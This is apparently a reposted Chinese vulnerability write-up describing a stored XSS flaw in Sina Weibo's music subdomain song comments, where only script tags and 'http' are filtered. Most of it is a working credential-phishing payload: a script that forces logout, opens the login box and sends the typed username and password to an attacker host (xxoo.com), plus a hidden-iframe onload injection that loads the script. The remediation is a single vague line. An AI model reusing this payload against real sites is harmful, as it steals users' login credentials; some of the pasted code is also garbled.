http://music.weibo.com
歌曲的歌评处过滤不严,只对script 标签,http 进行了过滤,可通过标签的事件属性进行绕过。
为演示xss 的危害,写了个js 脚本进行div 层钓鱼。
基本流程是:
Js 代码:
unction fish () { if ($("a")[20].innerHTML=="\u9000\u51fa") { //判断是否登陆,若登陆则退出 $.getScript("http://weibo.com/logout.php", function (data) { location.reload(); }); } else { $("a")[7].click(); //触发登陆框 setTimeout("getpass()", 500); //劫持登陆按钮 }; }; function getpass () { //劫持登陆按钮 $(".W_btn_g").on("click", function () { var username = $(".W_input")[0].value; //用户名 var passwd = $(".W_input")[1].value; //密码 $.getScript("http://xxoo.com/weibo_fish.php?username="+username+"&password="+passwd); window.name = "ok"; //标记window.name ,防止重复 }); }; if (window.name!="ok") { fish(); };
通过 <iframe style=]display:none] onload=]$.getScript(‘http://xxoo.com/weibo_fish.js’)]></iframe> 引入js。
修复方案: 过滤下~
查看更多关于Sina weibo 子域存储型xss - 网站安全 - 自学php的详细内容...